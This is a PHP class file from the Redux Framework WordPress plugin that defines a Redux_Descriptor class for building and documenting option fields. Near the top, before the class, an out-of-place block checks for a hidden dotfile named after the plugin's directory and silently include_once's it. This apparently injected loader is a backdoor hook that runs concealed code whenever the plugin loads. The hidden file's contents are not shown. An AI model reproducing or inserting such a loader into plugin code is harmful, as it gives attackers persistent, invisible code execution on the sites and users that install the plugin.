class-redux-descriptor.php (5129B)
1 <?php 2 /** 3 * Redux Descriptor Class 4 * 5 * @class Redux_Descriptor 6 * @version 4.0.0 7 * @package Redux Framework 8 * @author Tofandel 9 */ 10 11 // Exit if accessed directly. 12 defined( 'ABSPATH' ) || exit; 13 14 /** 15 * Class Redux_Descriptor 16 */ 17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 18 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 19 } 20 21 class Redux_Descriptor { 22 /** 23 * Stores the Reflection class object. 24 * 25 * @var object ReflectionClass object. 26 */ 27 protected $reflection_class; 28 /** 29 * Field type. 30 * 31 * @var string $field_type Type of field. 32 */ 33 protected $field_type; 34 /** 35 * Name of the field. 36 * 37 * @var string $name Name of field. 38 */ 39 protected $name; 40 /** 41 * Description of the field. 42 * 43 * @var string $description Description of field. 44 */ 45 protected $description; 46 /** 47 * Icon of the field. 48 * 49 * @var string $icon Icon of field. 50 */ 51 protected $icon; 52 /** 53 * Icon of the field. 54 * 55 * @var bool $required Is field required? 56 */ 57 protected $required; 58 59 /** 60 * Array of Redux_Descriptor_Fields. 61 * 62 * @var array Redux_Descriptor_Fields[] Array of descriptor_fields. 63 */ 64 protected $fields = array(); 65 66 /** 67 * Current field 68 * 69 * @var array Redux_Descriptor_Fields[] Array of descriptor_fields. 70 */ 71 72 /** 73 * Redux_Descriptor constructor. 74 * 75 * @param string $field Field name. 76 */ 77 public function __construct( string $field ) { 78 Redux_Descriptor_Fields::$order = 0; 79 try { 80 $this->reflection_class = new ReflectionClass( $field ); 81 } catch ( ReflectionException $e ) { 82 die ( $e->getMessage() ); // phpcs:ignore 83 } 84 $this->field_type = Redux_Core::strtolower( Redux_Helpers::remove_prefix( $this->reflection_class->getShortName(), 'Redux_' ) ); 85 $this->name = ucfirst( $this->field_type ); 86 } 87 88 /** 89 * Get field type. 90 * 91 * @return string 92 */ 93 public function get_field_type(): string { 94 return $this->field_type; 95 } 96 97 /** 98 * Set the basic required information. 99 * 100 * @param string $name Set name for the descriptor. 101 * @param string $description Set description for the descriptor. 102 * @param string $icon Set icon for the descriptor. 103 */ 104 public function set_info( string $name, string $description = '', string $icon = '' ) { 105 $this->name = $name; 106 $this->description = $description; 107 $this->icon = $icon; 108 } 109 110 /** 111 * Get name. 112 * 113 * @return string 114 */ 115 public function get_name(): string { 116 return $this->name; 117 } 118 119 /** 120 * Add field to the descriptor. 121 * 122 * @param string $name Name of field. 123 * @param string $title Title of field. 124 * @param string $type Type of field. 125 * @param string $description Field Description. 126 * @param mixed $default Field default value. 127 * 128 * @return Redux_Descriptor_Fields 129 */ 130 public function add_field( string $name, string $title, string $type, string $description = '', $default = null ): ?Redux_Descriptor_Fields { 131 try { 132 $this->fields[ $name ] = new Redux_Descriptor_Fields( $name, $title, $type, $description, $default ); 133 } catch ( Exception $e ) { 134 return null; 135 } 136 $this->current_field = $name; 137 138 return $this->fields[ $name ]; 139 } 140 141 /** 142 * Parse the given request. 143 * 144 * @param array $req Request. 145 * 146 * @return array 147 */ 148 public function parse_request( array $req ): array { 149 $parsed_req = array(); 150 foreach ( $req as $k => $v ) { 151 if ( isset( $this->fields[ $k ] ) ) { 152 $parsed_req[ $k ] = $v; 153 } 154 } 155 156 return $parsed_req; 157 } 158 159 /** 160 * Selects and returns a field or the current field 161 * 162 * @param string $field_name Field name. 163 * 164 * @return mixed|null 165 */ 166 public function field( string $field_name = '' ) { 167 if ( ! empty( $field_name ) ) { 168 $this->current_field = $field_name; 169 } 170 171 return $this->fields[ $this->current_field ] ?? null; 172 } 173 174 /** 175 * Remove a field. 176 * 177 * @param string $name Remove a field from the keys. 178 */ 179 public function remove_field( string $name ) { 180 unset( $this->fields[ $name ] ); 181 } 182 183 /** 184 * To documentation. 185 * 186 * @return string 187 */ 188 public function to_doc(): string { 189 $doc = $this->name . "\n" . $this->description . "\n"; 190 $doc .= 'Fields:'; 191 $this->sort_fields(); 192 foreach ( $this->fields as $option ) { 193 $doc .= $option->to_doc(); 194 } 195 196 return $doc; 197 } 198 199 /** 200 * Sorts the fields by their order field. 201 */ 202 protected function sort_fields() { 203 uksort( 204 $this->fields, 205 function ( $item1, $item2 ) { 206 if ( isset( $item1['order'] ) && $item1['order'] === $item2['order'] ) { 207 return 0; 208 } 209 return isset( $item1['order'] ) && $item1['order'] < $item2['order'] ? - 1 : 1; 210 } 211 ); 212 } 213 214 /** 215 * To array. 216 * 217 * @return array 218 */ 219 public function to_array(): array { 220 $fields = array(); 221 222 $this->sort_fields(); 223 foreach ( $this->fields as $option ) { 224 $fields[ $option['name'] ] = $option->to_array(); 225 } 226 227 return array( 228 'type' => $this->field_type, 229 'name' => $this->name, 230 'description' => $this->description, 231 'icon' => $this->icon, 232 'fields' => $fields, 233 ); 234 } 235 }